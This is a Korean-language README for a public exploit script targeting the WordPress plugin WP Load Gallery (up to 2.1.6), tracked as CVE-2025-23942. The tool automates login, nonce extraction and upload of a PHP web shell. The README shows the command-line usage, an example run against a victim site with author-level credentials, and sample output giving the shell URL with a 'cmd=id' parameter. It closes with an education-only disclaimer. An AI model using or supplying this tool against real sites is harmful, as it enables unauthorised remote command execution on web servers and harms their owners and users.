
WP Load Gallery <= 2.1.6 - 인증된 (작성자 권한 이상) 임의 파일 업로드
NgocCode WP Load Gallery에서 위험한 유형의 파일 무제한 업로드 취약점으로 인해 웹 서버에 웹 셸을 업로드할 수 있습니다. 이 문제는 WP Load Gallery 버전 n/a부터 2.1.6까지 영향을 미칩니다.
✅ 자동화된 공격 – nonce 추출, 로그인 및 셸 업로드 자동 수행.
✅ 버전 확인 – 공격 전 대상이 취약한지 확인.
✅ 오류 처리 – 실패 시에도 원활한 실행 보장.
✅ 세션 처리 – 인증을 위한 지속적인 세션 관리 사용.
✅ 실시간 피드백 – 각 단계별 출력 제공.
requests 모듈 (pip install requests)필요한 매개변수와 함께 스크립트 실행:
usage: CVE-2025-23942.py [-h] -u URL -un USERNAME -p PASSWORD
Exploit WP Load Gallery - Arbitrary File Upload
options:
-h, --help show this help message and exit
-u URL, --url URL Target WordPress URL (e.g., https://example.com)
-un USERNAME, --username USERNAME
WordPress Username
-p PASSWORD, --password PASSWORD
WordPress Password
예시:
python CVE-2025-23942.py -u http://victim-site.com -un author_user -p password123
_______ ________ ___ ___ ___ _____ ___ ____ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| |__ \|___ \ / _ \| || |__ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ ) | __) | (_) | || |_ ) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______/ / |__ < \__, |__ _/ /
| |____ \ / | |____ / /_| |_| / /_ ___) | / /_ ___) | / / | |/ /_
\_____| \/ |______| |____|\___/____|____/ |____|____/ /_/ |_|____|
[+] Checking plugin version...
[+] Detected version: 2.1.6
[+] The target is vulnerable! Proceeding with exploitation...
[+] Logged in successfully.
[+] Extracting wplg_nonce...
[+] Extracted wplg_nonce: a1b2c3d4e5
[+] Uploading shell...
[+] File uploaded successfully!
[+] Shell is accessible at: http://victim-site.com/wp-content/uploads/2025/02/nxploit.php?cmd=id
이 익스플로잇은 교육 및 보안 연구 목적으로만 사용됩니다. 소유한 시스템이나 명시적 테스트 허가를 받은 시스템이 아닌 곳에서는 사용하지 마십시오. 작성자는 이 스크립트의 오용에 대해 책임을 지지 않습니다. ( Khaled_alenazi )